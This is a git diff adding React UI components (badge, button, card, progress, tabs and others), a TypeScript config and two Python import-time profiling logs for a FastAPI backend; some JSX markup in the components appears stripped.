+ ); +} diff --git a/frontend/src/components/ui/badge.tsx b/frontend/src/components/ui/badge.tsx new file mode 100644 index 0000000000000000000000000000000000000000..b20959dd775e40754a5f66940c62ee4f7feaef36 --- /dev/null +++ b/frontend/src/components/ui/badge.tsx @@ -0,0 +1,52 @@ +import { mergeProps } from "@base-ui/react/merge-props" +import { useRender } from "@base-ui/react/use-render" +import { cva, type VariantProps } from "class-variance-authority" + +import { cn } from "@/lib/utils" + +const badgeVariants = cva( + "group/badge inline-flex h-5 w-fit shrink-0 items-center justify-center gap-1 overflow-hidden rounded-4xl border border-transparent px-2 py-0.5 text-xs font-medium whitespace-nowrap transition-all focus-visible:border-ring focus-visible:ring-[3px] focus-visible:ring-ring/50 has-data-[icon=inline-end]:pr-1.5 has-data-[icon=inline-start]:pl-1.5 aria-invalid:border-destructive aria-invalid:ring-destructive/20 dark:aria-invalid:ring-destructive/40 [&>svg]:pointer-events-none [&>svg]:size-3!", + { + variants: { + variant: { + default: "bg-primary text-primary-foreground [a]:hover:bg-primary/80", + secondary: + "bg-secondary text-secondary-foreground [a]:hover:bg-secondary/80", + destructive: + "bg-destructive/10 text-destructive focus-visible:ring-destructive/20 dark:bg-destructive/20 dark:focus-visible:ring-destructive/40 [a]:hover:bg-destructive/20", + outline: + "border-border text-foreground [a]:hover:bg-muted [a]:hover:text-muted-foreground", + ghost: + "hover:bg-muted hover:text-muted-foreground dark:hover:bg-muted/50", + link: "text-primary underline-offset-4 hover:underline", + }, + }, + defaultVariants: { + variant: "default", + }, + } +) + +function Badge({ + className, + variant = "default", + render, + ...props +}: useRender.ComponentProps<"span"> & VariantProps) { + return useRender({ + defaultTagName: "span", + props: mergeProps<"span">( + { + className: cn(badgeVariants({ variant }), className), + }, + props + ), + render, + state: { + slot: "badge", + variant, + }, + }) +} + +export { Badge, badgeVariants } diff --git a/frontend/src/components/ui/button.tsx b/frontend/src/components/ui/button.tsx new file mode 100644 index 0000000000000000000000000000000000000000..09df753676cbb937c76c080deaea440a4345a28f --- /dev/null +++ b/frontend/src/components/ui/button.tsx @@ -0,0 +1,58 @@ +import { Button as ButtonPrimitive } from "@base-ui/react/button" +import { cva, type VariantProps } from "class-variance-authority" + +import { cn } from "@/lib/utils" + +const buttonVariants = cva( + "group/button inline-flex shrink-0 items-center justify-center rounded-lg border border-transparent bg-clip-padding text-sm font-medium whitespace-nowrap transition-all outline-none select-none focus-visible:border-ring focus-visible:ring-3 focus-visible:ring-ring/50 active:not-aria-[haspopup]:translate-y-px disabled:pointer-events-none disabled:opacity-50 aria-invalid:border-destructive aria-invalid:ring-3 aria-invalid:ring-destructive/20 dark:aria-invalid:border-destructive/50 dark:aria-invalid:ring-destructive/40 [&_svg]:pointer-events-none [&_svg]:shrink-0 [&_svg:not([class*='size-'])]:size-4", + { + variants: { + variant: { + default: "bg-primary text-primary-foreground [a]:hover:bg-primary/80", + outline: + "border-border bg-background hover:bg-muted hover:text-foreground aria-expanded:bg-muted aria-expanded:text-foreground dark:border-input dark:bg-input/30 dark:hover:bg-input/50", + secondary: + "bg-secondary text-secondary-foreground hover:bg-secondary/80 aria-expanded:bg-secondary aria-expanded:text-secondary-foreground", + ghost: + "hover:bg-muted hover:text-foreground aria-expanded:bg-muted aria-expanded:text-foreground dark:hover:bg-muted/50", + destructive: + "bg-destructive/10 text-destructive hover:bg-destructive/20 focus-visible:border-destructive/40 focus-visible:ring-destructive/20 dark:bg-destructive/20 dark:hover:bg-destructive/30 dark:focus-visible:ring-destructive/40", + link: "text-primary underline-offset-4 hover:underline", + }, + size: { + default: + "h-8 gap-1.5 px-2.5 has-data-[icon=inline-end]:pr-2 has-data-[icon=inline-start]:pl-2", + xs: "h-6 gap-1 rounded-[min(var(--radius-md),10px)] px-2 text-xs in-data-[slot=button-group]:rounded-lg has-data-[icon=inline-end]:pr-1.5 has-data-[icon=inline-start]:pl-1.5 [&_svg:not([class*='size-'])]:size-3", + sm: "h-7 gap-1 rounded-[min(var(--radius-md),12px)] px-2.5 text-[0.8rem] in-data-[slot=button-group]:rounded-lg has-data-[icon=inline-end]:pr-1.5 has-data-[icon=inline-start]:pl-1.5 [&_svg:not([class*='size-'])]:size-3.5", + lg: "h-9 gap-1.5 px-2.5 has-data-[icon=inline-end]:pr-2 has-data-[icon=inline-start]:pl-2", + icon: "size-8", + "icon-xs": + "size-6 rounded-[min(var(--radius-md),10px)] in-data-[slot=button-group]:rounded-lg [&_svg:not([class*='size-'])]:size-3", + "icon-sm": + "size-7 rounded-[min(var(--radius-md),12px)] in-data-[slot=button-group]:rounded-lg", + "icon-lg": "size-9", + }, + }, + defaultVariants: { + variant: "default", + size: "default", + }, + } +) + +function Button({ + className, + variant = "default", + size = "default", + ...props +}: ButtonPrimitive.Props & VariantProps) { + return ( + + ) +} + +export { Button, buttonVariants } diff --git a/frontend/src/components/ui/card.tsx b/frontend/src/components/ui/card.tsx new file mode 100644 index 0000000000000000000000000000000000000000..40cac5f98d7f50f860277e034cab8b6544d66695 --- /dev/null +++ b/frontend/src/components/ui/card.tsx @@ -0,0 +1,103 @@ +import * as React from "react" + +import { cn } from "@/lib/utils" + +function Card({ + className, + size = "default", + ...props +}: React.ComponentProps<"div"> & { size?: "default" | "sm" }) { + return ( +
img:first-child]:pt-0 data-[size=sm]:gap-3 data-[size=sm]:py-3 data-[size=sm]:has-data-[slot=card-footer]:pb-0 *:[img:first-child]:rounded-t-xl *:[img:last-child]:rounded-b-xl", + className + )} + {...props} + /> + ) +} + +function CardHeader({ className, ...props }: React.ComponentProps<"div">) { + return ( +
+ ) +} + +function CardTitle({ className, ...props }: React.ComponentProps<"div">) { + return ( +
+ ) +} + +function CardDescription({ className, ...props }: React.ComponentProps<"div">) { + return ( +
+ ) +} + +function CardAction({ className, ...props }: React.ComponentProps<"div">) { + return ( +
+ ) +} + +function CardContent({ className, ...props }: React.ComponentProps<"div">) { + return ( +
+ ) +} + +function CardFooter({ className, ...props }: React.ComponentProps<"div">) { + return ( +
+ ) +} + +export { + Card, + CardHeader, + CardFooter, + CardTitle, + CardAction, + CardDescription, + CardContent, +} diff --git a/frontend/src/components/ui/progress.tsx b/frontend/src/components/ui/progress.tsx new file mode 100644 index 0000000000000000000000000000000000000000..986f3463a4715a2c27eec0ba55ade09e3391cf54 --- /dev/null +++ b/frontend/src/components/ui/progress.tsx @@ -0,0 +1,83 @@ +"use client" + +import { Progress as ProgressPrimitive } from "@base-ui/react/progress" + +import { cn } from "@/lib/utils" + +function Progress({ + className, + children, + value, + ...props +}: ProgressPrimitive.Root.Props) { + return ( + + {children} + + + + + ) +} + +function ProgressTrack({ className, ...props }: ProgressPrimitive.Track.Props) { + return ( + + ) +} + +function ProgressIndicator({ + className, + ...props +}: ProgressPrimitive.Indicator.Props) { + return ( + + ) +} + +function ProgressLabel({ className, ...props }: ProgressPrimitive.Label.Props) { + return ( + + ) +} + +function ProgressValue({ className, ...props }: ProgressPrimitive.Value.Props) { + return ( + + ) +} + +export { + Progress, + ProgressTrack, + ProgressIndicator, + ProgressLabel, + ProgressValue, +} diff --git a/frontend/src/components/ui/scroll-area.tsx b/frontend/src/components/ui/scroll-area.tsx new file mode 100644 index 0000000000000000000000000000000000000000..84c1e9fbb05bc2af79ed1ba447d38a419815fcab --- /dev/null +++ b/frontend/src/components/ui/scroll-area.tsx @@ -0,0 +1,55 @@ +"use client" + +import * as React from "react" +import { ScrollArea as ScrollAreaPrimitive } from "@base-ui/react/scroll-area" + +import { cn } from "@/lib/utils" + +function ScrollArea({ + className, + children, + ...props +}: ScrollAreaPrimitive.Root.Props) { + return ( + + + {children} + + + + + ) +} + +function ScrollBar({ + className, + orientation = "vertical", + ...props +}: ScrollAreaPrimitive.Scrollbar.Props) { + return ( + + + + ) +} + +export { ScrollArea, ScrollBar } diff --git a/frontend/src/components/ui/separator.tsx b/frontend/src/components/ui/separator.tsx new file mode 100644 index 0000000000000000000000000000000000000000..6e1369e43cce8be3da7ef04940b79dd276245290 --- /dev/null +++ b/frontend/src/components/ui/separator.tsx @@ -0,0 +1,25 @@ +"use client" + +import { Separator as SeparatorPrimitive } from "@base-ui/react/separator" + +import { cn } from "@/lib/utils" + +function Separator({ + className, + orientation = "horizontal", + ...props +}: SeparatorPrimitive.Props) { + return ( + + ) +} + +export { Separator } diff --git a/frontend/src/components/ui/tabs.tsx b/frontend/src/components/ui/tabs.tsx new file mode 100644 index 0000000000000000000000000000000000000000..8ee8054f3f7347bbacdb7399024d64f34d676836 --- /dev/null +++ b/frontend/src/components/ui/tabs.tsx @@ -0,0 +1,82 @@ +"use client" + +import { Tabs as TabsPrimitive } from "@base-ui/react/tabs" +import { cva, type VariantProps } from "class-variance-authority" + +import { cn } from "@/lib/utils" + +function Tabs({ + className, + orientation = "horizontal", + ...props +}: TabsPrimitive.Root.Props) { + return ( + + ) +} + +const tabsListVariants = cva( + "group/tabs-list inline-flex w-fit items-center justify-center rounded-lg p-[3px] text-muted-foreground group-data-horizontal/tabs:h-8 group-data-vertical/tabs:h-fit group-data-vertical/tabs:flex-col data-[variant=line]:rounded-none", + { + variants: { + variant: { + default: "bg-muted", + line: "gap-1 bg-transparent", + }, + }, + defaultVariants: { + variant: "default", + }, + } +) + +function TabsList({ + className, + variant = "default", + ...props +}: TabsPrimitive.List.Props & VariantProps) { + return ( + + ) +} + +function TabsTrigger({ className, ...props }: TabsPrimitive.Tab.Props) { + return ( + + ) +} + +function TabsContent({ className, ...props }: TabsPrimitive.Panel.Props) { + return ( + + ) +} + +export { Tabs, TabsList, TabsTrigger, TabsContent, tabsListVariants } diff --git a/frontend/src/lib/utils.ts b/frontend/src/lib/utils.ts new file mode 100644 index 0000000000000000000000000000000000000000..bd0c391ddd1088e9067844c48835bf4abcd61783 --- /dev/null +++ b/frontend/src/lib/utils.ts @@ -0,0 +1,6 @@ +import { clsx, type ClassValue } from "clsx" +import { twMerge } from "tailwind-merge" + +export function cn(...inputs: ClassValue[]) { + return twMerge(clsx(inputs)) +} diff --git a/frontend/tsconfig.json b/frontend/tsconfig.json new file mode 100644 index 0000000000000000000000000000000000000000..c1334095f876a408c10f2357faaced969ec090ab --- /dev/null +++ b/frontend/tsconfig.json @@ -0,0 +1,27 @@ +{ + "compilerOptions": { + "target": "ES2017", + "lib": ["dom", "dom.iterable", "esnext"], + "allowJs": true, + "skipLibCheck": true, + "strict": true, + "noEmit": true, + "esModuleInterop": true, + "module": "esnext", + "moduleResolution": "bundler", + "resolveJsonModule": true, + "isolatedModules": true, + "jsx": "preserve", + "incremental": true, + "plugins": [ + { + "name": "next" + } + ], + "paths": { + "@/*": ["./src/*"] + } + }, + "include": ["next-env.d.ts", "**/*.ts", "**/*.tsx", ".next/types/**/*.ts"], + "exclude": ["node_modules"] +} diff --git a/import_p3.txt b/import_p3.txt new file mode 100644 index 0000000000000000000000000000000000000000..b4a95a7ff1a1a532185b4e61815e9e26404a0ee6 --- /dev/null +++ b/import_p3.txt @@ -0,0 +1,316 @@ +import time: self [us] | cumulative | imported package +import time: 186 | 186 | _io +import time: 30 | 30 | marshal +import time: 203 | 203 | posix +import time: 546 | 964 | _frozen_importlib_external +import time: 537 | 537 | time +import time: 209 | 745 | zipimport +import time: 44 | 44 | _codecs +import time: 520 | 563 | codecs +import time: 615 | 615 | encodings.aliases +import time: 1454 | 2631 | encodings +import time: 356 | 356 | encodings.utf_8 +import time: 64 | 64 | _signal +import time: 25 | 25 | _abc +import time: 199 | 223 | abc +import time: 39 | 39 | _stat +import time: 85 | 124 | stat +import time: 826 | 826 | _collections_abc +import time: 42 | 42 | errno +import time: 81 | 81 | genericpath +import time: 147 | 269 | posixpath +import time: 496 | 1935 | os +import time: 80 | 80 | _sitebuiltins +import time: 29 | 29 | _types +import time: 405 | 434 | types +import time: 1384 | 1818 | enum +import time: 55 | 55 | _sre +import time: 425 | 425 | re._constants +import time: 514 | 938 | re._parser +import time: 275 | 275 | re._casefix +import time: 534 | 1800 | re._compiler +import time: 85 | 85 | itertools +import time: 340 | 340 | keyword +import time: 58 | 58 | _operator +import time: 1040 | 1097 | operator +import time: 304 | 304 | reprlib +import time: 48 | 48 | _collections +import time: 917 | 2789 | collections +import time: 46 | 46 | _functools +import time: 789 | 3622 | functools +import time: 297 | 297 | copyreg +import time: 696 | 8231 | re +import time: 797 | 9027 | sitecustomize +import time: 791 | 11832 | site +import time: 358 | 358 | linecache +import time: 234 | 234 | backend +import time: 286 | 519 | backend.app +import time: 274 | 274 | __future__ +import time: 297 | 297 | concurrent +import time: 209 | 209 | io +import time: 920 | 920 | textwrap +import time: 27 | 27 | _contextvars +import time: 532 | 559 | _py_warnings +import time: 240 | 798 | warnings +import time: 353 | 353 | codeop +import time: 217 | 217 | token +import time: 23 | 23 | _tokenize +import time: 914 | 1153 | tokenize +import time: 315 | 315 | _weakrefset +import time: 531 | 846 | weakref +import time: 371 | 1217 | copy +import time: 1205 | 1205 | _ast +import time: 568 | 1773 | ast +import time: 741 | 2513 | annotationlib +import time: 39 | 39 | _opcode +import time: 354 | 354 | _opcode_metadata +import time: 602 | 994 | opcode +import time: 1338 | 2331 | dis +import time: 326 | 326 | importlib +import time: 67 | 392 | importlib.machinery +import time: 2699 | 7933 | inspect +import time: 811 | 9960 | dataclasses +import time: 4957 | 14917 | _colorize +import time: 772 | 772 | contextlib +import time: 883 | 19793 | traceback +import time: 30 | 30 | _string +import time: 420 | 449 | string +import time: 765 | 765 | threading +import time: 33 | 33 | atexit +import time: 1786 | 23032 | logging +import time: 739 | 23771 | concurrent.futures._base +import time: 891 | 891 | _interpreters +import time: 626 | 25583 | concurrent.futures +import time: 607 | 607 | _heapq +import time: 395 | 1001 | heapq +import time: 877 | 877 | _socket +import time: 1258 | 2134 | socket +import time: 68 | 68 | _locale +import time: 829 | 897 | locale +import time: 718 | 718 | signal +import time: 757 | 757 | fcntl +import time: 371 | 371 | msvcrt +import time: 818 | 818 | _posixsubprocess +import time: 818 | 818 | select +import time: 761 | 761 | math +import time: 709 | 1469 | selectors +import time: 866 | 6709 | subprocess +import time: 3342 | 3342 | _ssl +import time: 731 | 731 | _struct +import time: 291 | 1022 | struct +import time: 682 | 682 | binascii +import time: 1161 | 2865 | base64 +import time: 3120 | 9326 | ssl +import time: 819 | 819 | asyncio.constants +import time: 254 | 254 | asyncio.coroutines +import time: 295 | 295 | contextvars +import time: 325 | 325 | asyncio.format_helpers +import time: 282 | 282 | asyncio.base_futures +import time: 313 | 313 | asyncio.exceptions +import time: 581 | 581 | asyncio.base_tasks +import time: 912 | 2087 | _asyncio +import time: 763 | 3468 | asyncio.events +import time: 367 | 367 | asyncio.futures +import time: 348 | 348 | asyncio.protocols +import time: 414 | 414 | asyncio.transports +import time: 143 | 143 | asyncio.log +import time: 727 | 1282 | asyncio.sslproto +import time: 156 | 156 | asyncio.mixins +import time: 570 | 725 | asyncio.locks +import time: 411 | 411 | asyncio.queues +import time: 455 | 455 | asyncio.timeouts +import time: 605 | 1470 | asyncio.tasks +import time: 335 | 2529 | asyncio.staggered +import time: 304 | 304 | asyncio.trsock +import time: 1025 | 55143 | asyncio.base_events +import time: 1510 | 1510 | asyncio.graph +import time: 425 | 425 | asyncio.runners +import time: 651 | 651 | asyncio.streams +import time: 366 | 366 | asyncio.subprocess +import time: 202 | 202 | asyncio.taskgroups +import time: 137 | 137 | asyncio.threads +import time: 413 | 413 | asyncio.base_subprocess +import time: 655 | 655 | asyncio.selector_events +import time: 631 | 1699 | asyncio.unix_events +import time: 354 | 60484 | asyncio +import time: 90 | 90 | _winapi +import time: 77 | 77 | nt +import time: 70 | 70 | nt +import time: 69 | 69 | nt +import time: 68 | 68 | nt +import time: 68 | 68 | nt +import time: 70 | 70 | nt +import time: 67 | 67 | nt +import time: 225 | 799 | ntpath +import time: 343 | 343 | fnmatch +import time: 568 | 911 | glob +import time: 38 | 38 | pwd +import time: 772 | 772 | grp +import time: 81 | 81 | _winapi +import time: 532 | 613 | pathlib._os +import time: 863 | 3994 | pathlib +import time: 26 | 26 | _typing +import time: 2285 | 2311 | typing +import time: 317 | 317 | starlette +import time: 391 | 391 | starlette.status +import time: 301 | 301 | annotated_doc.main +import time: 311 | 612 | annotated_doc +import time: 276 | 276 | email +import time: 335 | 335 | quopri +import time: 38 | 38 | _datetime +import time: 279 | 317 | datetime +import time: 255 | 255 | urllib +import time: 1279 | 1279 | ipaddress +import time: 1097 | 2629 | urllib.parse +import time: 420 | 420 | email._parseaddr +import time: 1909 | 5273 | email.utils +import time: 700 | 700 | email.errors +import time: 363 | 363 | email.quoprimime +import time: 266 | 266 | email.base64mime +import time: 230 | 230 | email.encoders +import time: 328 | 558 | email.charset +import time: 720 | 1906 | email.header +import time: 492 | 2397 | email._policybase +import time: 382 | 382 | email._encoded_words +import time: 270 | 270 | email.iterators +import time: 729 | 10360 | email.message +import time: 953 | 953 | _json +import time: 296 | 1249 | json.scanner +import time: 414 | 1662 | json.decoder +import time: 332 | 332 | json.encoder +import time: 218 | 2212 | json +import time: 337 | 337 | anyio._core +import time: 540 | 876 | anyio._core._contextmanagers +import time: 533 | 533 | anyio._core._exceptions +import time: 86 | 86 | sniffio +import time: 366 | 984 | anyio._core._eventloop +import time: 515 | 515 | anyio.abc._eventloop +import time: 284 | 284 | anyio.abc._resources +import time: 297 | 297 | anyio._core._typedattr +import time: 357 | 357 | anyio.abc._tasks +import time: 923 | 1279 | anyio.abc._streams +import time: 711 | 2286 | anyio.abc._sockets +import time: 288 | 288 | anyio.abc._subprocesses +import time: 336 | 336 | anyio.abc._testing +import time: 1176 | 1176 | anyio.lowlevel +import time: 430 | 430 | anyio._core._tasks +import time: 873 | 873 | anyio._core._testing +import time: 2803 | 5281 | anyio._core._synchronization +import time: 1383 | 1383 | anyio.from_thread +import time: 372 | 10742 | anyio.abc +import time: 269 | 11010 | anyio.to_thread +import time: 921 | 11930 | anyio._core._fileio +import time: 332 | 332 | anyio._core._resources +import time: 231 | 231 | anyio._core._signals +import time: 220 | 220 | anyio.streams +import time: 991 | 1210 | anyio.streams.stapled +import time: 941 | 941 | anyio.streams.tls +import time: 1664 | 3815 | anyio._core._sockets +import time: 1647 | 1647 | anyio.streams.memory +import time: 346 | 1993 | anyio._core._streams +import time: 360 | 360 | anyio._core._subprocesses +import time: 897 | 897 | zlib +import time: 331 | 331 | compression +import time: 434 | 765 | compression._common +import time: 482 | 482 | compression._common._streams +import time: 856 | 856 | _bz2 +import time: 977 | 3077 | bz2 +import time: 1318 | 1318 | _lzma +import time: 610 | 1927 | lzma +import time: 1287 | 1287 | _zstd +import time: 1419 | 1419 | compression.zstd._zstdfile +import time: 798 | 3502 | compression.zstd +import time: 949 | 10350 | shutil +import time: 928 | 928 | _bisect +import time: 268 | 1195 | bisect +import time: 1199 | 1199 | _random +import time: 602 | 2996 | random +import time: 1107 | 14452 | tempfile +import time: 559 | 15010 | anyio._core._tempfile +import time: 583 | 36109 | anyio +import time: 1167 | 1167 | typing_extensions +import time: 1800 | 1800 | pydantic_core._pydantic_core +import time: 366 | 366 | numbers +import time: 1862 | 2228 | _decimal +import time: 179 | 2407 | decimal +import time: 9739 | 12146 | pydantic_core.core_schema +import time: 565 | 15676 | pydantic_core +import time: 148 | 15823 | pydantic.version +import time: 372 | 16194 | pydantic.warnings +import time: 290 | 16484 | pydantic._migration +import time: 193 | 193 | typing_inspection +import time: 1281 | 1281 | typing_inspection.typing_objects +import time: 1187 | 2659 | typing_inspection.introspection +import time: 167 | 167 | pydantic._internal +import time: 392 | 392 | pydantic._internal._namespace_utils +import time: 422 | 813 | pydantic._internal._typing_extra +import time: 347 | 1160 | pydantic._internal._repr +import time: 449 | 4434 | pydantic.errors +import time: 306 | 21223 | pydantic +import time: 107 | 107 | pydantic._internal._internal_dataclass +import time: 971 | 1077 | pydantic.aliases +import time: 970 | 970 | pydantic.config +import time: 292 | 2338 | pydantic._internal._config +import time: 185 | 185 | pydantic._internal._core_utils +import time: 123 | 123 | pydantic._internal._import_utils +import time: 959 | 1082 | pydantic._internal._utils +import time: 3506 | 4772 | pydantic._internal._decorators +import time: 424 | 424 | pydantic._internal._forward_ref +import time: 454 | 878 | pydantic._internal._generics +import time: 206 | 206 | pydantic._internal._docs_extraction +import time: 741 | 1824 | pydantic._internal._fields +import time: 544 | 544 | pydantic.plugin +import time: 326 | 870 | pydantic.plugin._schema_validator +import time: 301 | 1171 | pydantic._internal._mock_val_ser +import time: 1718 | 1718 | fractions +import time: 1090 | 1090 | _uuid +import time: 451 | 1541 | uuid +import time: 453 | 453 | sysconfig +import time: 225 | 225 | _osx_support +import time: 1464 | 2141 | zoneinfo._tzpath +import time: 187 | 187 | zoneinfo._common +import time: 1183 | 1183 | _zoneinfo +import time: 224 | 3734 | zoneinfo +import time: 190 | 190 | pydantic.annotated_handlers +import time: 2898 | 2898 | pydantic.functional_validators +import time: 312 | 312 | pydantic._internal._core_metadata +import time: 199 | 199 | pydantic._internal._schema_generation_shared +import time: 1733 | 2243 | pydantic.json_schema +import time: 284 | 284 | pydantic._internal._discriminated_union +import time: 260 | 260 | pydantic._internal._known_annotated_metadata +import time: 549 | 549 | pydantic._internal._schema_gather +import time: 2840 | 16251 | pydantic._internal._generate_schema +import time: 192 | 192 | pydantic._internal._signature +import time: 439 | 16881 | pydantic._internal._model_construction +import time: 669 | 669 | http +import time: 180 | 848 | starlette.exceptions +import time: 2777926 | 2777926 | annotated_types +import time: 2184765 | 2184765 | pydantic._internal._validators +import time: 2015341 | 2015341 | pydantic.types +import time: 1047409 | 8025439 | pydantic.fields +import time: 431 | 431 | importlib._abc +import time: 564 | 994 | importlib.util +import time: 524 | 524 | zipfile._path.glob +import time: 726 | 1250 | zipfile._path +import time: 2881 | 5124 | zipfile +import time: 1486 | 1486 | importlib.metadata._meta +import time: 940 | 940 | importlib.metadata._collections +import time: 400 | 400 | importlib.metadata._functools +import time: 691 | 691 | importlib.metadata._itertools +import time: 712 | 712 | importlib.abc +import time: 2222 | 11571 | importlib.metadata +import time: 2061164 | 2072735 | pydantic.plugin._loader +import time: 46714743 | 56861970 | fastapi.exceptions +import time: 1562348 | 1562348 | fastapi.openapi +import time: 1759640 | 1759640 | fastapi.types +import time: 2667 | 2667 | shlex +import time: 1695364 | 1695364 | starlette.concurrency +import time: 1776898 | 1776898 | starlette.types +import time: 1880412 | 5355340 | starlette.datastructures +import time: 2409561 | 9524539 | fastapi._compat.shared +import time: 2920236 | 2920236 | fastapi.openapi.constants +import time: 4859270 | 7779505 | fastapi._compat.v2 +import time: 1905143 | 19209187 | fastapi._compat +import time: 1863737 | 1863737 | fastapi.logger +import time: 1890137 | 1890137 | email_validator.exceptions +import time: 1595995 | 1595995 | email_validator.types diff --git a/import_profile.txt b/import_profile.txt new file mode 100644 index 0000000000000000000000000000000000000000..1c17cde1fc97eaf731238a93ad27e637ee6e61cc --- /dev/null +++ b/import_profile.txt @@ -0,0 +1,230 @@ +import time: self [us] | cumulative | imported package +import time: 474 | 474 | _io +import time: 66 | 66 | marshal +import time: 468 | 468 | posix +import time: 1573 | 2580 | _frozen_importlib_external +import time: 1719 | 1719 | time +import time: 548 | 2267 | zipimport +import time: 107 | 107 | _codecs +import time: 1164 | 1270 | codecs +import time: 983 | 983 | encodings.aliases +import time: 1658 | 3910 | encodings +import time: 390 | 390 | encodings.utf_8 +import time: 133 | 133 | _signal +import time: 59 | 59 | _abc +import time: 321 | 379 | abc +import time: 79 | 79 | _stat +import time: 183 | 262 | stat +import time: 1469 | 1469 | _collections_abc +import time: 82 | 82 | errno +import time: 137 | 137 | genericpath +import time: 281 | 499 | posixpath +import time: 1005 | 3613 | os +import time: 145 | 145 | _sitebuiltins +import time: 82 | 82 | _types +import time: 592 | 674 | types +import time: 2394 | 3068 | enum +import time: 101 | 101 | _sre +import time: 467 | 467 | re._constants +import time: 573 | 1040 | re._parser +import time: 196 | 196 | re._casefix +import time: 645 | 1981 | re._compiler +import time: 148 | 148 | itertools +import time: 214 | 214 | keyword +import time: 98 | 98 | _operator +import time: 433 | 531 | operator +import time: 300 | 300 | reprlib +import time: 76 | 76 | _collections +import time: 1216 | 2482 | collections +import time: 68 | 68 | _functools +import time: 1023 | 3572 | functools +import time: 236 | 236 | copyreg +import time: 1120 | 9976 | re +import time: 1087 | 11063 | sitecustomize +import time: 1575 | 16394 | site +import time: 310 | 310 | linecache +import time: 2403075 | 2403075 | backend +import time: 2559722 | 4962797 | backend.app +import time: 1094 | 1094 | __future__ +import time: 386 | 386 | concurrent +import time: 464 | 464 | io +import time: 1890 | 1890 | textwrap +import time: 82 | 82 | _contextvars +import time: 1366 | 1447 | _py_warnings +import time: 917 | 2363 | warnings +import time: 652 | 652 | codeop +import time: 504 | 504 | token +import time: 54 | 54 | _tokenize +import time: 1942 | 2499 | tokenize +import time: 483 | 483 | _weakrefset +import time: 918 | 1401 | weakref +import time: 574 | 1974 | copy +import time: 1749 | 1749 | _ast +import time: 724 | 2472 | ast +import time: 1189 | 3660 | annotationlib +import time: 44 | 44 | _opcode +import time: 496 | 496 | _opcode_metadata +import time: 656 | 1196 | opcode +import time: 1941 | 3137 | dis +import time: 381 | 381 | importlib +import time: 105 | 485 | importlib.machinery +import time: 4510 | 11791 | inspect +import time: 1241 | 15006 | dataclasses +import time: 6285 | 21290 | _colorize +import time: 900 | 900 | contextlib +import time: 1713 | 31305 | traceback +import time: 32 | 32 | _string +import time: 555 | 587 | string +import time: 835 | 835 | threading +import time: 34 | 34 | atexit +import time: 4498 | 37720 | logging +import time: 1311 | 39031 | concurrent.futures._base +import time: 1826 | 1826 | _interpreters +import time: 1054 | 42296 | concurrent.futures +import time: 636 | 636 | _heapq +import time: 840 | 1476 | heapq +import time: 941 | 941 | _socket +import time: 1342 | 2283 | socket +import time: 66 | 66 | _locale +import time: 837 | 902 | locale +import time: 693 | 693 | signal +import time: 852 | 852 | fcntl +import time: 607 | 607 | msvcrt +import time: 858 | 858 | _posixsubprocess +import time: 809 | 809 | select +import time: 802 | 802 | math +import time: 735 | 1537 | selectors +import time: 928 | 7184 | subprocess +import time: 3653 | 3653 | _ssl +import time: 807 | 807 | _struct +import time: 267 | 1074 | struct +import time: 895 | 895 | binascii +import time: 537 | 2505 | base64 +import time: 3214 | 9371 | ssl +import time: 404 | 404 | asyncio.constants +import time: 320 | 320 | asyncio.coroutines +import time: 312 | 312 | contextvars +import time: 289 | 289 | asyncio.format_helpers +import time: 230 | 230 | asyncio.base_futures +import time: 312 | 312 | asyncio.exceptions +import time: 560 | 560 | asyncio.base_tasks +import time: 1112 | 2213 | _asyncio +import time: 676 | 3488 | asyncio.events +import time: 424 | 424 | asyncio.futures +import time: 313 | 313 | asyncio.protocols +import time: 862 | 862 | asyncio.transports +import time: 169 | 169 | asyncio.log +import time: 864 | 1894 | asyncio.sslproto +import time: 175 | 175 | asyncio.mixins +import time: 788 | 962 | asyncio.locks +import time: 727 | 727 | asyncio.queues +import time: 809 | 809 | asyncio.timeouts +import time: 918 | 2453 | asyncio.tasks +import time: 715 | 4130 | asyncio.staggered +import time: 326 | 326 | asyncio.trsock +import time: 1821 | 75724 | asyncio.base_events +import time: 1566 | 1566 | asyncio.graph +import time: 1055 | 1055 | asyncio.runners +import time: 517 | 517 | asyncio.streams +import time: 346 | 346 | asyncio.subprocess +import time: 581 | 581 | asyncio.taskgroups +import time: 410 | 410 | asyncio.threads +import time: 617 | 617 | asyncio.base_subprocess +import time: 663 | 663 | asyncio.selector_events +import time: 677 | 1957 | asyncio.unix_events +import time: 1926 | 84078 | asyncio +import time: 103 | 103 | _winapi +import time: 80 | 80 | nt +import time: 75 | 75 | nt +import time: 73 | 73 | nt +import time: 70 | 70 | nt +import time: 68 | 68 | nt +import time: 68 | 68 | nt +import time: 67 | 67 | nt +import time: 248 | 848 | ntpath +import time: 373 | 373 | fnmatch +import time: 592 | 965 | glob +import time: 39 | 39 | pwd +import time: 803 | 803 | grp +import time: 82 | 82 | _winapi +import time: 567 | 649 | pathlib._os +import time: 970 | 4271 | pathlib +import time: 3529372 | 3529372 | starlette +import time: 2637301 | 2637301 | starlette.status +import time: 170 | 170 | _typing +import time: 5957 | 6127 | typing +import time: 3004394 | 3004394 | annotated_doc.main +import time: 3502635 | 6507028 | annotated_doc +import time: 1621 | 1621 | email +import time: 701 | 701 | quopri +import time: 94 | 94 | _datetime +import time: 461 | 555 | datetime +import time: 448 | 448 | urllib +import time: 1998 | 1998 | ipaddress +import time: 5008 | 7453 | urllib.parse +import time: 632 | 632 | email._parseaddr +import time: 964 | 9602 | email.utils +import time: 897 | 897 | email.errors +import time: 493 | 493 | email.quoprimime +import time: 314 | 314 | email.base64mime +import time: 337 | 337 | email.encoders +import time: 407 | 743 | email.charset +import time: 952 | 2501 | email.header +import time: 635 | 3136 | email._policybase +import time: 481 | 481 | email._encoded_words +import time: 314 | 314 | email.iterators +import time: 2108 | 18856 | email.message +import time: 1264 | 1264 | _json +import time: 592 | 1856 | json.scanner +import time: 691 | 2546 | json.decoder +import time: 601 | 601 | json.encoder +import time: 451 | 3597 | json +import time: 3682111 | 3682111 | anyio._core +import time: 1490881 | 5172991 | anyio._core._contextmanagers +import time: 2901206 | 2901206 | anyio._core._exceptions +import time: 975 | 975 | sniffio +import time: 2671293 | 5573473 | anyio._core._eventloop +import time: 3776352 | 3776352 | anyio.abc._eventloop +import time: 2933006 | 2933006 | anyio.abc._resources +import time: 1835147 | 1835147 | anyio._core._typedattr +import time: 2050197 | 2050197 | anyio.abc._tasks +import time: 1998595 | 4048791 | anyio.abc._streams +import time: 2439010 | 8322947 | anyio.abc._sockets +import time: 2115556 | 2115556 | anyio.abc._subprocesses +import time: 1781320 | 1781320 | anyio.abc._testing +import time: 2023050 | 2023050 | 